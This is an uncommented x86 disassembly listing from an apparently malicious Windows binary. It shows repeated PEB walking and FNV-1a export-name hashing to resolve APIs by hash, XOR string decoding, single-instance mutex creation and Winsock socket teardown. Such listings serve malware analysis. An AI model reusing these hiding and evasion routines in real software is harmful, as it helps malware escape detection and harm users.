je 0x47bc6d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bc50
cmp esi, 0x71948ca4
je 0x47bc78
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bc37
mov eax, dword [eax]
jmp 0x47bc10
mov esi, dword [esp + 0x34]
mov edx, dword [esp + 0x10]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x18]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xe0]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
push 0x493e0
push dword [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x20], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x34], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x18], ecx
cmp ecx, esi
je 0x47bd39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bd39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47bd32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bd15
cmp esi, 0x71948ca4
je 0x47bd3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bd00
mov eax, dword [eax]
jmp 0x47bcd4
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x34]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x20]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xf0]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
push 0x493e0
push dword [esp + 0xe8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x47be04
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47be04
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47bdfd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bde0
cmp esi, 0x71948ca4
je 0x47be08
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bdc7
mov eax, dword [eax]
jmp 0x47bda0
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x34]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xe8]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [esp + 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x47beb9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47beb9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47beb2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47be95
cmp esi, 0x71948ca4
je 0x47bebd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47be80
mov eax, dword [eax]
jmp 0x47be55
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + edx]
lea ecx, [esp + 0x34]
add edi, edx
call fcn.00481850
lea ecx, [esp + 0xec]
mov esi, dword [eax]
call fcn.00481850
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x47bf69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bf69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47bf62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bf45
cmp esi, 0xfaba0065
je 0x47bf6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bf30
mov eax, dword [eax]
jmp 0x47bf02
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0xdc]
add esi, edx
call fcn.00481850
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x47c009
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47c009
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47c002
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bfe5
cmp esi, 0xfaba0065
je 0x47c00d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bfd0
mov eax, dword [eax]
jmp 0x47bfa6
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0xe0]
add esi, edx
call fcn.00481850
push dword [eax]
call esi
push dword [esp + 0x3c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x18], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x20], ecx
cmp ecx, esi
je 0x47c0b4
cmp byte [0x557e32], 0
je 0x47c61d
cmp byte [esp + 0x17], 0
jne 0x47c61d
call fcn.0041b320
lea ecx, [esp + 0x3f4]
call fcn.0047c910
lea ecx, [esp + 0x3ec]
call fcn.0047c970
lea ecx, [esp + 0x328]
call fcn.004029b0
lea ecx, [esp + 0x388]
call fcn.004029b0
lea ecx, [esp + 0x370]
call fcn.004029b0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push str.th1y5atj8
call edi
cmp byte [0x557e32], 0
je 0x47c7fa
cmp byte [esp + 0x17], 0
je 0x47c7fa
movaps xmm0, xmmword [0x543a90]
xor ecx, ecx
mov byte [esp + 0x2d0], 0x98
movups xmmword [esp + 0x2d1], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x2d0], al
inc ecx
cmp ecx, 8
jb 0x47c6a0
lea eax, [esp + 0x2d0]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x754]
mov byte [esp + 0x2dc], 0
call fcn.00402a50
push 0x555b1c
lea ecx, [esp + 0x754]
call fcn.00402af0
mov edx, eax
lea ecx, [esp + 0x964]
call fcn.00483960
add esp, 4
mov ecx, eax
call fcn.00402af0
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0x960]
call fcn.004029b0
lea ecx, [esp + 0x750]
call fcn.004029b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x47c8e5
push 0x7530
call ebx
movaps xmm0, xmmword [0x543f40]
xor ecx, ecx
mov byte [esp + 0x2e1], 0xa3
movups xmmword [esp + 0x2e2], xmm0
mov al, cl
sub al, 0x15
xor byte [esp + ecx + 0x2e1], al
inc ecx
cmp ecx, 8
jb 0x47c750
lea eax, [esp + 0x2e1]
mov dword [0x5585d4], ecx
push eax
lea ecx, [esp + 0x35c]
mov byte [esp + 0x2ed], 0
call fcn.00402a50
sub esp, 0x18
lea ecx, [esp + 0x370]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.00423fa0
add esp, 0x18
lea ecx, [esp + 0x358]
call fcn.004029b0
mov ecx, dword [0x5580f8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5580f4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x47c7f3
nop
push 0x64
call ebx
mov ecx, dword [0x5580f8]
mov eax, 0x2aaaaaab
sub ecx, dword [0x5580f4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x47c7d0
mov byte [0x557e11], 1
push 0xbb8
call ebx
push 2
push dword [0x555aac]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x555aac]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x557e32], 0
je 0x47c8e5
cmp byte [esp + 0x17], 0
je 0x47c8e5
push 0
push 0x435463f5
call fcn.00408010
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [esp + 0x34], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x18], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x47c8b9
mov edi, dword [eax + 0x18]
test edi, edi
je 0x47c8b9
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
nop word [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x47c8b2
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x47c895
cmp esi, 0x2fa62ca8
je 0x47c8bd
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x47c880
mov ecx, dword [ecx]
jmp 0x47c853
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
push dword [esp + 0x34]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x47c833
lea ecx, [esp + 0x25c]
call fcn.004029b0
lea ecx, [esp + 0x3b8]
call fcn.004029b0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10